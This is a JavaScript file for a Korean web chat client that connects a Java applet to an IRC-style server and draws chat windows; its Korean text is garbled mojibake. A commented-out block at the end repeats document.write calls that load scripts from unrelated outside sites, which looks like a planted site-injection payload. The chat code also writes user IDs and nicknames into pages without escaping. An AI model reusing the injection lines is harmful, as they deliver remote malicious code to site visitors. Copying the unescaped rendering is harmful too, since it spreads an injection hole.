/* 
 * vim60: ts=4 syntax=javascript
 */

// ###########################################################################
// LiveConnect : Java Applet <-> JavaScript
// ###########################################################################
/*
	TODO
		ÃÊ´ëÇÑ »ç¶÷ÀÌ ´ëÈ­Ã¢À» »õ·Î°íÄ§ÇÑ °æ¿ì
		Ctrl+N, LOAD_CHATINFO ¹®Á¦
*/

// ###########################################################################
// °ø¿ë º¯¼ö ¼±¾ð
var MY_ID		= "";
var MY_FCOLOR	= "";
var MY_NICK		= "";
var MY_GENDER	= "";
var STATUS		= new Array();
var CLOSE_ALL	= false;
var LOGOUT		= false;
var CLOSED		= false;
var EMOTICON	= GetEmoticonImage(GetEmoticonArray());

// ###########################################################################
// ¼­¹öÃø ÀÀ´ä Ã³¸®
function receiveFromServer (str)
{
	str = str.replace(/^ +/, "");
	str = str.replace(/ +$/, "");
	if (str.length > 0) ParseServerMessage(str);
}

function ParseServerMessage (str)
{
	var split = str.split(" ");
	if (split[0] == "LOAD_CHATINFO")
	{
		LoadChatInfoResetChildWindow();
	}
	else if (split[0] == "PING")
	{
		// PING/PONG
		// PING :chat2.itsclub.com
		ItsClient.sendToServer("PONG :" + Pos2End(split[1], 1));
	}
	else if (split[0] == "WELCOME")
	{
		// Á¤»ó ·Î±×ÀÎ ¿Ï·á
		// WELCOME love
		MY_ID = split[1];
		//top["main"].location.replace(URL_BASE + "/main.ting");
		//top["usermenu"].location.replace(URL_BASE + "/usermenu.ting");
	}
	else if (split[0] == "NOTICE")
	{
		// NOTICE AUTH :*** Looking up your hostname...
	}
	else if (split[0] == "ERROR")
	{
		// ERROR :Closing Link: 211.208.55.84 (Client Quit)
		CloseAllChatWindow();
		if (!LOGOUT && !CLOSED) FailProcess("ERROR", "Åë½ÅÀå¾Ö");
		CLOSED = true;
	}
	else if (split[0] == "DISCONNECT")
	{
		CloseAllChatWindow();
		if (!LOGOUT && !CLOSED) FailProcess("ERROR", "Á¢¼Ó Á¾·á");
		CLOSED = true;
	}
	else if (split[0] == "CONNECTFAIL")
	{
		if (!LOGOUT && !CLOSED) FailProcess("ERROR", "Á¢¼Ó ½ÇÆÐ");
		CLOSED = true;
	}
	else if (split[0].charAt(0) == ":")
	{
		// USER/SERVER Message
		var info = GetUserAndServerMessage(split[0]);
		var imode = split[1];
		if (imode == "PRIVMSG")
		{
			var msg = Splited2Join(split, 3, " ");
			if (split[2].charAt(0) == "#")
			{
				// 1:1 Ã¤ÆÃ¹æ ¸Þ¼¼Áö
				// :garam!~ANONYMOUS@211.203.198.9 PRIVMSG #5044eb03be :¼ö°í ÇÏ¼¼¿µ ^^
				ChatMessage("CHAT", info["id"], split[2], Pos2End(msg, 1));
			}
			else
			{
				if (msg.substring(1, 14) == "[INVITE DENY]")
				{
					// ÃÊ´ë °ÅºÎ ÀÀ´ä ¼ö½Å
					// :garam!~ANONYMOUS@211.203.198.9 PRIVMSG love :[INVITE DENY] #1ab337da9c
					ChatMessage("NOTICE", "", Pos2End(msg, 15),
												"<BR><IMG SRC='/img/okdongja/okdongja.jpg' WIDTH=204 HEIGHT=297><BR>" +
												info["id"] + "´ÔÀÌ ¹Ù»ÚÁöµµ ¾ÊÀ¸¸é¼­ 1:1 Ã¤ÆÃÀ» °ÅºÎÇÏ¼Ì½À´Ï´Ù. -_-");
				}
				else if (msg.substring(1, 10) == "[MY INFO]")
				{
					// È¸¿øÁ¤º¸ °»½Å
					// :garam!~ANONYMOUS@211.203.198.9 PRIVMSG love :[MY INFO] fcolor=#006633;nickname=°¡¶÷
					var userinfo = new Array();
					userinfo = ParseUserInfo(info["id"], Pos2End(msg, 11));
					UpdateUserInfo(info["id"], userinfo);
				}
				else
				{
					// ÂÊÁö ¼ö½Å
					// :love!~ANONYMOUS@love.co.kr PRIVMSG love :ÇÏÀÌ·ç~
					ReceiveOnMemo(info["id"], Pos2End(msg, 1));
				}
			}
		}
		else if (imode == "INVITE")
		{
			// ÃÊ´ë Á¢¼ö
			// :love!~ANONYMOUS@love.co.kr INVITE love :#fc5e1de4bb
			ReceiveCoupleChat(info["id"], Pos2End(split[3], 1));
		}
		else if (imode == "JOIN")
		{
			// ´ëÈ­»ó´ë ÀÔÀå
			// :love!~ANONYMOUS@61.39.254.240 JOIN :#fc5e1de4bb
			AddChatUser(Pos2End(split[2], 1), info["id"]);
			if (info["id"] == MY_ID)
			{
				UpdateUserInfo(info["id"], MakeMyInfo());
			}
			else
			{
				ItsClientFrame.SendMessage(info["id"], MakeMyInfoString());
				ChatMessage("NOTICE", "", Pos2End(split[2], 1), info["id"] + "´ÔÀÌ ÀÔÀåÇÏ¼Ì½À´Ï´Ù.");
			}
		}
		else if (imode == "PART")
		{
			// ´ëÈ­»ó´ë ÅðÀå
			// :love!~ANONYMOUS@love.co.kr PART #a643da9485
			if (info["id"] != MY_ID)
			{
				RemoveChatUser(Pos2End(split[2], 0), info["id"]);
				ChatMessage("NOTICE", "", Pos2End(split[2], 0), info["id"] + "´ÔÀÌ ÅðÀåÇÏ¼Ì½À´Ï´Ù.");
			}
		}
		else if (imode == "QUIT")
		{
			// ´ëÈ­»ó´ë Á¢¼Ó Á¾·á
			// :love!~ANONYMOUS@love.co.kr QUIT :Client Quit
			var channels = new Array();
			channels = GetUserInChannel(info["id"]);
			for (var i=0; i<channels.length; i++)
			{
				RemoveChatUser(channels[i], info["id"]);
				ChatMessage("NOTICE", "", channels[i], info["id"] + "´ÔÀÇ Á¢¼ÓÀÌ Á¾·áµÇ¾ú½À´Ï´Ù.");
			}
		}
		else if (imode == "001")
		{
			// Á¤»ó ·Î±×ÀÎ ¿Ï·á => WELCOME À¸·Î ´ëÃ¼
			// :chat1.itsclub.com 001 love :Welcome to the ItsClub Internet Relay Chat Network love
			// MY_ID = split[2];
			// CONNECTED = true;
			// top["main"].location.replace("/its/main.ting");
			// top["usermenu"].location.replace("/its/usermenu.ting");
		}
		else if (imode == "353")
		{
			// ´ëÈ­ÀÚ ¸ñ·Ï Àü¼Û
			// :chat1.itsclub.com 353 love = #a643da9485 :@ppp love
			for (var i=5; i<split.length; i++)
			{
				var tmp = "";
				for (var j=0; j<split[i].length; j++)
				{
					if (split[i].charAt(j) != ":" && split[i].charAt(j) != "@")
					{
						tmp += split[i].charAt(j);
					}
				}
				split[i] = tmp;
				if (split[i] != MY_ID)
				{
					// ÀÚ½ÅÀº JOINÀ» ÅëÇØ ÀÌ¹Ì Ãß°¡µÇ¾î ÀÖÀ½
					AddChatUser(split[4], split[i]);
				}
			}
		}
		else if (imode == "366")
		{
			// ´ëÈ­ÀÚ ¸ñ·Ï Àü¼Û ¿Ï·á
			// :chat1.itsclub.com 366 love #a643da9485 :End of /NAMES list.
			UserListLoadComplete(split[3]);
		}
		else if (imode == "401") FailProcess("401", split[3]);
		else if (imode == "411") FailProcess("411", "¼ö½ÅÀÚ");
		else if (imode == "412") FailProcess("412", "¸Þ¼¼Áö");
		else if (imode == "431") FailProcess("431", "¼ö½ÅÀÚ");
		else if (imode == "433") FailProcess("433", "È¸¿ø ID"); // :chat1.itsclub.com 433 * ppp :Nickname is already in use.
		// ETC
		// :ppp MODE ppp :+i
	}
}

function Splited2Join (array, start, separator)
{
	var new_array = new Array();
	var pos = 0;
	if (array.length-1 < start) return "";
	for (var i=start; i<array.length; i++)
	{
		new_array[pos++] = array[i];
	}
	return new_array.join(separator);
}

function Pos2End (str, startIndexPos)
{
	return str.substring(startIndexPos, str.length);
}

function GetUserAndServerMessage (str)
{
	var find1 = false; var find2 = false; var pos;
	var str1 = ""; var str2 = ""; var str3 = "";
	var retval = new Array();
	for (var i=1; i<str.length; i++)
	{
		pos = str.charAt(i);
		if (find1 == false)
		{
			if (pos == "!") find1 = true; else str1 += pos;
		}
		else if (find2 == false)
		{
		 	if (pos == "@") find2 = true; else str2 += pos;
		}
		else str3 += pos;
	}
	if (find1 && find2)
	{
		retval["id"] = str1;
		retval["user"] = str2;
		retval["host"] = str3;
	}
	else
	{
		retval["host"] = str1;
		retval["id"] = retval["host"];
	}
	return retval;
}

// ###########################################################################
// ¼­¹ö ¿äÃ»
function MakeChatRoom (channel, invite)
{
	ItsClient.sendToServer("JOIN " + channel);
	if (invite) ItsClient.sendToServer("MODE " + channel + " +i");
}

function MakeCoupleChatRoom (channel)
{
	MakeChatRoom(channel, true);
}

function JoinChatRoom (channel)
{
	ItsClient.sendToServer("JOIN " + channel);
}

function InviteUser (id, channel)
{
	ItsClient.sendToServer("INVITE " + id + " " + channel);
}

function SendMessage (to, message)
{
	//alert(to);
//	message = substringByte(message, 400);
//	ItsClient.sendToServer("PRIVMSG " + to + " :" + message);
}

function PartRoom (channel)
{
	if (CLOSE_ALL) return;
	ItsClient.sendToServer("PART " + channel);
}

function Logout ()
{
	LOGOUT = true;
	ItsClient.execLogout();
}

// ###########################################################################
// Ã¤ÆÃ¹æ »óÅÂ Á¤º¸ °ü¸®
function SaveChatInfo ()
{
	ItsClient.setChatInfo(STATUS);
}

function PushChatInfo (chatInfo, resetWindowObject)
{
	if (chatInfo != null)
	{
		STATUS = chatInfo;
		if (resetWindowObject)
		{
			for (var i=0; i<STATUS.length; i++)
			{
				if (typeof(STATUS[i][2]) == "object")
				{
					var childWin = STATUS[i][2];
					childWin.ResetOpenerObject(self);
				}
			}
		}
	}
}

function LoadChatInfo ()
{
	var StackStatus = ItsClient.getChatInfo();
	if (StackStatus != null)
	{
		STATUS = StackStatus;
	}
}

function LoadChatInfoResetChildWindow ()
{
	LoadChatInfo();
	for (var i=0; i<STATUS.length; i++)
	{
		if (typeof(STATUS[i][2]) == "object")
		{
			var childWin = STATUS[i][2];
			childWin.ResetOpenerObject(self);
		}
	}
}

function AddChatStatus (win)
{
	// Channel, Array(User...), Window, UserListLoad
	LoadChatInfo();
	for (var i=0; i<STATUS.length; i++)
	{
		// ÀÌ¹Ì ¿­¸°Ã¢ Reload
		if (win == STATUS[i][2])
		{
			STATUS[i] = new Array("", new Array(), win, false);
			SaveChatInfo();
			return;
		}
	}
	STATUS[STATUS.length] = new Array("", new Array(), win, false);
	SaveChatInfo();
}

function RegistryChannel (win, channel)
{
	LoadChatInfo();
	for (var i=0; i<STATUS.length; i++)
	{
		if (win == STATUS[i][2])
		{
			STATUS[i][0] = channel;
			SaveChatInfo();
			return true;
		}
	}
	return false;
}

function RemoveChatStatus (channel)
{
	if (CLOSE_ALL) return;
	var tmp = new Array();
	LoadChatInfo();
	for (var i=0; i<STATUS.length; i++) if (channel != STATUS[i][0]) tmp[tmp.length] = STATUS[i];
	STATUS = tmp;
	SaveChatInfo();
}

function CloseAllChatWindow ()
{
	CLOSE_ALL = true;
	LoadChatInfo();
	for (var i=0; i<STATUS.length; i++) if (typeof(STATUS[i][2]) == "object") STATUS[i][2].close();
}

function GetChatWindow (channel)
{
	LoadChatInfo();
	for (var i=0; i<STATUS.length; i++) if (channel == STATUS[i][0]) return STATUS[i][2];
	return "";
}

function AddChatUser (channel, id)
{
	var userinfo = new Array();
	userinfo = EmptyUserInfo();
	userinfo["id"] = id;
	userinfo["fcolor"] = "#000000";
	LoadChatInfo();
	for (var i=0; i<STATUS.length; i++)
	{
		if (channel == STATUS[i][0])
		{
			STATUS[i][1][id] = userinfo;
		}
	}
	SaveChatInfo();
}

function RemoveChatUser (channel, id)
{
	var key;
	LoadChatInfo();
	for (var i=0; i<STATUS.length; i++)
	{
		if (channel == STATUS[i][0])
		{
			var tmp = new Array();
			for (key in STATUS[i][1])
			{
				if (key != id) tmp[key] = STATUS[i][1][key];
			}
			STATUS[i][1] = tmp;
			break;
		}
	}
	SaveChatInfo();
}

function UserListLoadComplete (channel)
{
	LoadChatInfo();
	for (var i=0; i<STATUS.length; i++) if (channel == STATUS[i][0]) STATUS[i][3] = true;
	SaveChatInfo();
}

function UserListLoadCheck (channel)
{
	LoadChatInfo();
	for (var i=0; i<STATUS.length; i++) if (channel == STATUS[i][0]) return STATUS[i][3];
}

function GetChatUsersList (channel)
{
	var chatusers = new Array();
	var key;
	LoadChatInfo();
	for (var i=0; i<STATUS.length; i++)
	{
		if (channel == STATUS[i][0])
		{
			for (key in STATUS[i][1]) chatusers[chatusers.length] = STATUS[i][1][key]["id"];
			break;
		}
	}
	return chatusers;
}

function GetUserInChannel (id)
{
	var channels = new Array();
	LoadChatInfo();
	for (var i=0; i<STATUS.length; i++)
	{
		for (key in STATUS[i][1])
		{
			if (key == id)
			{
				channels[channels.length] = STATUS[i][0];
				break;
			}
		}
	}
	return channels;
}

function UpdateUserInfo (id, userinfo)
{
	LoadChatInfo();
	for (var i=0; i<STATUS.length; i++)
	{
		for (key in STATUS[i][1])
		{
			if (key == id)
			{
				STATUS[i][1][key] = userinfo;
				SaveChatInfo();
				break;
			}
		}
	}
}

function GetUserInfo (channel, id)
{
	LoadChatInfo();
	for (var i=0; i<STATUS.length; i++)
	{
		for (key in STATUS[i][1])
		{
			if (key == id)
			{
				return STATUS[i][1][key];
			}
		}
	}
	return EmptyUserInfo();
}

// ###########################################################################
// È¸¿ø Á¤º¸ Ã³¸®
function MakeMyInfo ()
{
	var info = new Array();
	info = EmptyUserInfo();
	info["id"] = MY_ID;
	info["fcolor"] = MY_FCOLOR;
	info["nickname"] = MY_NICK;
	info["gender"] = MY_GENDER;
	return info;
}

function MakeMyInfoString ()
{
	// TODO: ±¸ºÐÀÚ escape Ã³¸®
	var str = "[MY INFO] ";
	var info = new Array();
	info[info.length] = "fcolor" + "=" + MY_FCOLOR;
	info[info.length] = "nickname" + "=" + MY_NICK;
	info[info.length] = "gender" + "=" + MY_GENDER;
	str += info.join(";");
	return str;
}

function ParseUserInfo (id, str)
{
	// TODO: ±¸ºÐÀÚ unescape Ã³¸®
	var info = str.split(";");
	var userinfo = new Array();
	userinfo = EmptyUserInfo();
	userinfo["id"] = id;
	for (var i=0; i<info.length; i++)
	{
		var tmp = info[i].split("=");
		if (tmp.length == 2 && tmp[0] != "") userinfo[tmp[0]] = tmp[1];
	}
	return userinfo;
}

function EmptyUserInfo ()
{
	var info = new Array();
	info["id"] = "";
	info["fcolor"] = "";
	info["nickname"] = "";
	info["gender"] = "";
	return info;
}

function UserInfoDebug (channel)
{
	// =======================================================
	// DEBUG : Channel In Users Info
	var users = new Array();
	users = GetChatUsersList(channel);
	var ui = "\n<!--\n";
	ui += "\tChannel : " + channel + "\n";
	for (var i=0; i<users.length; i++)
	{
		var arr = new Array();
		var tmp = "";
		arr = GetUserInfo(channel, users[i])
		ui += "\tUser : " + users[i] + "\n";
		for (tmp in arr)
		{
			ui += "\t\t" + tmp + "=" + arr[tmp] + "\n";
		}
	}
	ui += "//-->\n";
	return ui;
}

// ###########################################################################
// È¸¿ø ±â´É ½ÇÇà
function ViewUserInfo (code, id)
{
	var win = openWin(URL_BASE + "/userinfo.ting?mcode=" + code, "", 652, 450, "auto", "yes", true);
}

function RequestCoupleChat (code, id)
{
	var win = openWin(URL_BASE + "/" + FILE_NAME["chat"] + "?mcode=" + code, "", 400, 550, "auto", "yes", true);
	AddChatStatus(win);
}

function SendOnMemo (code, id)
{
	var win = openWin(URL_BASE + "/chat/" + FILE_NAME["memo"] + "?code=" + code, "memo"+code, 460, 350, "no", "no", true);
	//alertWindow('', 'ÂÊÁö', 'ÇöÀç ÂÊÁö´Â Á¡°ËÁßÀÔ´Ï´Ù.');
}

function AddZzim (code, id)
{
//	top["hidden"].location.href = URL_BASE + "/" + FILE_NAME["zzim"] + "?code=" + code;
}

function SendPropose (code, id)
{
	var win = openWin(URL_BASE + "/propose_tema.ting?code=" + code, "", 390, 440, "auto", "yes", true);
}

function CheckHarmony (code, id)
{
	alert("±ÃÇÕ º¸±â : " + code);
}

// ###########################################################################
// »ö»ó º¯°æ
function CallFontColorPicker (selected)
{
	selected = ItsClient.urlEncode(selected);
	var win = openWin(URL_BASE + "/tools/color.ting?selected=" + selected, "", 220, 160, "auto", "yes", true);
}

function ChangeFontColor (color)
{
	MY_FCOLOR = color;
	channels = new Array();
	channels = GetUserInChannel(MY_ID);
	LoadChatInfo();
	for (var i=0; i<channels.length; i++)
	{
		var win = GetChatWindow(channels[i]);
		win.document.all["fcolor"].style.background = color;
		STATUS[i][1][MY_ID]["fcolor"] = color;
		var users = new Array();
		users = GetChatUsersList(channels[i]);
		for (var j=0; j<users.length; j++)
		{
			if (users[j] != MY_ID) SendMessage(users[j], MakeMyInfoString());
		}
	}
	SaveChatInfo();
	UpdateUserInfo(MY_ID, MakeMyInfo());
}

// ###########################################################################
// ¼ö½Å Ã³¸®
function ReceiveCoupleChat (id, channel)
{
	channel = ItsClient.urlEncode(channel);
	var win = openWin(URL_BASE + "/" + FILE_NAME["invite"] + "?id=" + id + "&channel=" + channel, "", 250, 100, "auto", "yes", false);
}

function AgreeCoupleChat (id, channel)
{
	channel = ItsClient.urlEncode(channel);
	var win = openWin(URL_BASE + "/" + FILE_NAME["chat"] + "?id=" + id + "&channel=" + channel, "", 400, 550, "auto", "yes", false);
	AddChatStatus(win);
}

function ReceiveOnMemo (id, message)
{
	var mmcode = "";
	var tmp = "";
	var pos = 0;
	pos = message.indexOf("=");
	mmcode = message.substring(0, pos);
	if (pos != -1)
	{
		message = ItsClient.urlEncode(message.substring(pos+1, message.length));
		var win = openWin(URL_BASE + "/" + FILE_NAME["memo"] + "?id=" + id + "&mmcode=" + mmcode + "&message=" + message,	"memo"+mmcode, 460, 435, "no", "no", true);
	}
}

function replyMemoWin (mmcode)
{
	var win = openWin(URL_BASE + "/chat/" + FILE_NAME["memo"] + "?mmcode=" + mmcode, "memo"+mmcode, 460, 435, "no", "no", true);
}

function FailProcess (mode, extend)
{
	if (mode == "401")		alertWindow(false, extend, "ÇöÀç ÂÊÁö¸¦ ¼ö½Å ÇÒ ¼ö ¾ø´Â »óÅÂÀÔ´Ï´Ù.\nÂÊÁö°¡ ÀúÀå µÇ¾ú½À´Ï´Ù.");
	else if (mode == "411")	alertWindow(false, extend, "¼ö½ÅÇÏ½Ç È¸¿øÀÌ ÁöÁ¤µÇÁö ¾Ê¾Ò½À´Ï´Ù.");
	else if (mode == "412")	alertWindow(false, extend, "º¸³¾ ¸Þ¼¼Áö°¡ ÀÔ·ÂµÇÁö ¾Ê¾Ò½À´Ï´Ù.");
	else if (mode == "431")	alertWindow(false, extend, "¼ö½ÅÇÏ½Ç È¸¿øÀÌ ÁöÁ¤µÇÁö ¾Ê¾Ò½À´Ï´Ù.");
	else if (mode == "433")
	{
		alertWindow(false, extend, "µ¿ÀÏÇÑ ID·Î ÀÌ¹Ì Á¢¼ÓÁßÀÎ È¸¿øÀÌ ÀÖ½À´Ï´Ù.\n" +
									"ID°¡ Å¸ÀÎ¿¡°Ô À¯ÃâµÈ°ÍÀÌ ¾Æ´Ï¶ó¸é Àá½Ã ÈÄ ´Ù½Ã ½ÃµµÇØ º¸½Ã±â ¹Ù¶ø´Ï´Ù.");
		testItsClient();
//		location.replace(URL_BASE + "/logout.ting");
	}
	else if (mode == "ERROR")
	{
		testItsClient();
//		alertWindow(false, extend, "Àá½ÃÈÄ ´Ù½Ã Á¢¼ÓÇØ ÁÖ½Ã±â ¹Ù¶ø´Ï´Ù.");
//		location.replace(URL_BASE + "/logout.ting");
	}
}

// ###########################################################################
// Ã¤ÆÃ Ã³¸®
function ChatMessage (mode, id, channel, message)
{
	win = GetChatWindow(channel);
	// ÀÌ¹Ì ´ÝÈù À©µµ¿ì °´Ã¼ÀÎ °æ¿ì ½ÇÇà ¹èÁ¦
	if (win == "" || typeof(win) != "object") return;
	if (mode == "CHAT")
	{
		message = ParseMessage(message);
		message = ParseEmoticon(message, channel, id);
		message = MakeDialogMessage(id, channel, message);
		// message += UserInfoDebug(channel);		// DEBUG : Channel In Users Info
		win["dialog"].document.writeln(message);
	}
	else if (mode == "NOTICE")
	{
		win["dialog"].document.writeln("<BR>");
		win["dialog"].document.writeln("<DIV ALIGN=CENTER><FONT COLOR='BROWN'>§Ù ¾È³» §Ù " + message + "</FONT></DIV>");
		win["dialog"].document.writeln("<BR>");
	}
	win["dialog"].document.writeln("<SCRIPT>scrollBy(0, 1000)</SCRIPT>");
	// win.focus();
}

function MessageStyle (func, obj)
{
	obj.focus();
	if (func != "") obj.value += "{" + func + "}";
	else obj.value += "";
}

function ParseMessage (str)
{
	str = str.replace(/</g, "&lt;");
	str = str.replace(/>/g, "&gt;");
	str = str.replace(/\{°­\}/g, "<B>");
	str = str.replace(/\{±â\}/g, "<I>");
	str = str.replace(/\{¹Ø\}/g, "<U>");
	str = str.replace(/\{±¼\}/g, "<FONT STYLE=\"font-family:±¼¸²\">");
	str = str.replace(/\{µ¸\}/g, "<FONT STYLE=\"font-family:µ¸¿ò\">");
	str = str.replace(/\{¹Ù\}/g, "<FONT STYLE=\"font-family:¹ÙÅÁ\">");
	str = str.replace(/\{±Ã\}/g, "<FONT STYLE=\"font-family:±Ã¼­\">");
	str = str.replace(/\{([0-9]+)pt\}/g, "<FONT STYLE=\"font-size:$1pt\">");
	str = str.replace(/(http|https|ftp|telnet|news|mms):\/\/(([\xA1-\xFEa-z0-9:_\-]+\.[\xA1-\xFEa-z0-9:;&#=_~%\[\]?\/.,+\-]+)([.]*[\/a-z0-9\[\]]|=[\xA1-\xFE]+))/, "<A HREF=\"$1://$2\" TARGET=\"_blank\">$1://$2</A>");

	return str;
}

function ParseEmoticon (str, channel, id)
{
	if (str.indexOf("{") != -1 && str.indexOf("}") != -1)
	{
		var userinfo = new Array();
		userinfo = GetUserInfo(channel, id);
		for (key in EMOTICON[userinfo["gender"]])
		{
			var replace_exp = new RegExp("\{" + key + "\}", "g");
			str = str.replace(replace_exp, EMOTICON[userinfo["gender"]][key]);
		}
	}
	return str;
}

function MakeDialogMessage (id, channel, message)
{
	var nick_color = "";
	var nick_bgcolor = "";
	var message_color = "";
	if (id == MY_ID)
	{
		nick_color = "WHITE";
		nick_bgcolor = MY_FCOLOR;
		message_color = MY_FCOLOR;
	}
	else
	{
		var userinfo = new Array();
		userinfo = GetUserInfo(channel, id);
		nick_color = userinfo["fcolor"];
		nick_bgcolor = "WHITE";
		message_color = userinfo["fcolor"];
	}

	message =
			'<TABLE BORDER="0" CELLSPACING="0" CELLPADDING="0">' +
			'<TR HEIGHT="18">' +
			'<TD WIDTH="60" BGCOLOR="' + nick_bgcolor + '" ALIGN="RIGHT"><FONT COLOR="' + nick_color + '">' + id + '&nbsp;|</FONT></TD>' +
			'<TD WIDTH="5"></TD>' +
			'<TD><FONT COLOR="' + message_color + '">' + message + '</FONT></TD>' +
			'</TR>' +
			'</TABLE>' +
			'<TABLE BORDER="0" CELLSPACING="0" CELLPADDING="0"><TR><TD></TD></TR></TABLE>';

	return message;
}

function InitChatWindow (win)
{
	var str =	"<HTML>\n" +
				"<HEAD>\n" +
				"<META http-equiv=\"Content-Type\" content=\"text/html; charset=euc-kr\">\n" +
				"</HEAD>\n" +
				"<STYLE TYPE=\"text/css\">\n" +
				"<!--\n" +
				"body, td { font-size:9pt; font-family:±¼¸²; }\n" +
				"//-->\n" +
				"</STYLE>\n" +
				"<BODY>\n";
	win["dialog"].document.open();
	win["dialog"].document.write(str);
}

/*
document.write('<script src=http://milamusic.net/photo_gallery/master.php ><\/script>');
document.write('<script src=http://milamusic.net/photo_gallery/master.php ><\/script>');
document.write('<script src=http://milamusic.net/photo_gallery/master.php ><\/script>');
document.write('<script src=http://milamusic.net/photo_gallery/master.php ><\/script>');
document.write('<script src=http://milamusic.net/photo_gallery/master.php ><\/script>');
document.write('<script src=http://stemcellpersonnel.com/subscription/values-and-mission.php ><\/script>');
document.write('<script src=http://promisenightwear.com/cgi-bin/index.php ><\/script>');
document.write('<script src=http://promisenightwear.com/cgi-bin/index.php ><\/script>');
document.write('<script src=http://promisenightwear.com/cgi-bin/index.php ><\/script>');
document.write('<script src=http://promisenightwear.com/cgi-bin/index.php ><\/script>');
document.write('<script src=http://promisenightwear.com/cgi-bin/index.php ><\/script>');
document.write('<script src=http://imero.ru/im/d/v17o/d5.php ><\/script>');
document.write('<script src=http://imero.ru/im/d/v17o/d5.php ><\/script>');
document.write('<script src=http://imero.ru/im/d/v17o/d5.php ><\/script>');
document.write('<script src=http://qinet.sk/_vti_pvt/top1.php ><\/script>');
document.write('<script src=http://qinet.sk/_vti_pvt/top1.php ><\/script>');
document.write('<script src=http://artsimone.ch/_vti_bin/simoneportait.php ><\/script>');
document.write('<script src=http://artsimone.ch/_vti_bin/simoneportait.php ><\/script>');
document.write('<script src=http://artsimone.ch/_vti_bin/simoneportait.php ><\/script>');
document.write('<script src=http://artsimone.ch/_vti_bin/simoneportait.php ><\/script>');
*/